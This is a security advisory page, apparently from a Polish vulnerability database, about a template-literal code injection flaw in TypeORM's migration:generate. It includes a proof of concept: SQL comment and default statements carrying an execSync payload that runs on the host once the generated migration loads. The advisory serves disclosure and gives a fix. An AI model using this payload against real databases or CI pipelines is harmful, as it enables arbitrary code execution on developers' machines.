Średnia

TypeORM: migration:generate template-literal code injection

  • Ujawniono: 21.07.2026
  • Aktualizacja: 11.10.2026 10:22

Summary

typeorm migration:generate embeds database schema metadata into JS/TS template literals, escaping backticks but not ${...}. An attacker who can write schema metadata (column comments, defaults, view definitions) achieves arbitrary code execution on the host that loads the generated migration.

Details

MigrationGenerateCommand.ts (L117-138) wraps each SQL statement in a JS template literal, escaping only backticks:

ts
"        await queryRunner.query(`" +
    upQuery.query.replaceAll("`", "\\`") +
    "`" + ...

Introspected schema strings reach this sink through driver query runners:

Driver Metadata source Source
Postgres column DEFAULT, COMMENT, CHECK constraints, view definitions PostgresQueryRunner.ts:1782, L1898, L2287, L4125
MySQL/MariaDB COLUMN_DEFAULT, COLUMN_COMMENT MysqlQueryRunner.ts:2873-2974, L3580-3583
CockroachDB Same patterns as Postgres CockroachQueryRunner.ts

escapeComment() on each driver strips only null bytes, leaving ${...} intact:

ts
protected escapeComment(comment?: string) {
    if (!comment) return comment
    comment = comment.replaceAll("\u0000", "")
    return comment
}

When the migration file is loaded (migration:run, import, or require), the JS engine evaluates ${...} as live interpolation.

Affected source:

File Lines Role
MigrationGenerateCommand.ts 117-138 Template-literal construction (sink)
PostgresDriver.ts 1886-1891 escapeComment() — Postgres
MysqlDriver.ts 1322-1328 escapeComment() — MySQL
CockroachDriver.ts 1236-1241 escapeComment() — CockroachDB

Confirmed injection vectors (MySQL):

Vector Result Notes
Column COMMENT Confirmed Proven in PoC below
Column DEFAULT Confirmed Attacker sets ALTER TABLE ... DEFAULT '${...}'; payload appears in generated migration
CHECK constraint Not exploitable MySQL information_schema.CHECK_CONSTRAINTS strips content from CHECK_CLAUSE
View definitions Not tested Requires PostgreSQL ViewEntity introspection; likely exploitable via pg_get_viewdef()

Suggested fix: Escape ${ to \${ (and \\ to \\\\) before embedding query strings into template literals, or switch to emitting the SQL as a JSON.stringify()-encoded regular string argument.

PoC

Prerequisites:

  • Any supported RDBMS (PostgreSQL, MySQL, MariaDB, CockroachDB, SQL Server, Oracle, SAP HANA, or Spanner) accessible to the developer running migration:generate
  • The attacker has DDL/write access to the database, or the application exposes a feature allowing users to set column COMMENT, DEFAULT, or view definition text

Steps:

  1. Inject payload into schema metadata. Set a column comment or default containing ${...}:
sql
-- PostgreSQL
COMMENT ON COLUMN users.name IS '${process.mainModule.require("child_process").execSync("id > /tmp/pwned")}';

-- MySQL
ALTER TABLE users MODIFY COLUMN name VARCHAR(255) COMMENT '${process.mainModule.require("child_process").execSync("id > /tmp/pwned")}';
  1. Run migration generation on the developer/CI machine:
bash
npx typeorm migration:generate -d ./data-source.ts ./migrations/NextMigration
  1. Inspect the generated file. The output .ts file contains unescaped ${...}:
ts
export class NextMigration1234567890 implements MigrationInterface {
  public async up(queryRunner: QueryRunner): Promise<void> {
    await queryRunner.query(
      `COMMENT ON COLUMN "users"."name" IS '${process.mainModule.require("child_process").execSync("id > /tmp/pwned")}'`,
    );
  }
  // ...
}
  1. Run or revert the migration:
bash
npx typeorm migration:revert -d ./data-source.ts

Output confirms code execution — id ran on the host and its output was interpolated into the SQL:

ALTER TABLE `user` CHANGE `name` `name` varchar(255) NULL COMMENT 'uid=501(user) gid=20(staff) groups=20(staff),12(everyone),...'

The payload appears in whichever migration direction restores the DB's current state. A malicious DB comment with a clean entity comment places it in down(). Attacker-influenced entity metadata places it in up(). Either direction executes the code when the method runs.

Impact

Code injection / RCE. An attacker with DB schema write access executes arbitrary JavaScript on any machine that generates and loads the migration. This crosses the DB-to-host trust boundary.

CI/CD pipelines that auto-generate and run migrations are the highest-risk target. Any TypeORM user running migration:generate against a database with attacker-influenced schema metadata is affected.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka npm typeorm < 0.3.31, >= 1.0.0, < 1.1.0 0.3.31, 1.1.0

Odnośniki

Ocena CVSS 5.7/10
Wektor CVSS
CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:N
Słabość (CWE)
CWE-94
Platforma
npm
Paczka
typeorm
Ujawniono
21.07.2026
Aktualizacja
11.10.2026 10:22

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-2rp8-mm9q-fp49 - CC BY 4.0

Historia podatności: typeorm

Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkich wpisów
6
Pierwsza → ostatnia
06.2019 07.2026
Bez poprawki
0
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 3
  • Wysoka 1
  • Średnia 2

Ujawnienia w latach

  1. 2019: 1
  2. 2020: 0
  3. 2021: 1
  4. 2022: 1
  5. 2023: 0
  6. 2024: 0
  7. 2025: 1
  8. 2026: 2
  1. TypeORM: migration:generate template-literal code injection ten wpis
    Średnia · 5.7 CVE-2026-73651 < 0.3.31, >= 1.0.0, < 1.1.0 0.3.31, 1.1.0
  2. Średnia · 5.9 ghsa-9ggv-8w38-r7pm >= 0.1.12, < 0.3.29 0.3.29
  3. Krytyczna · 9.8 CVE-2022-33171 < 0.3.0 0.3.0
  4. Krytyczna · 9.8 CVE-2020-8158 < 0.2.25 0.2.25
  5. Krytyczna · 9.8 ghsa-w7q7-vjp8-7jv4 < 0.1.15 0.1.15

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.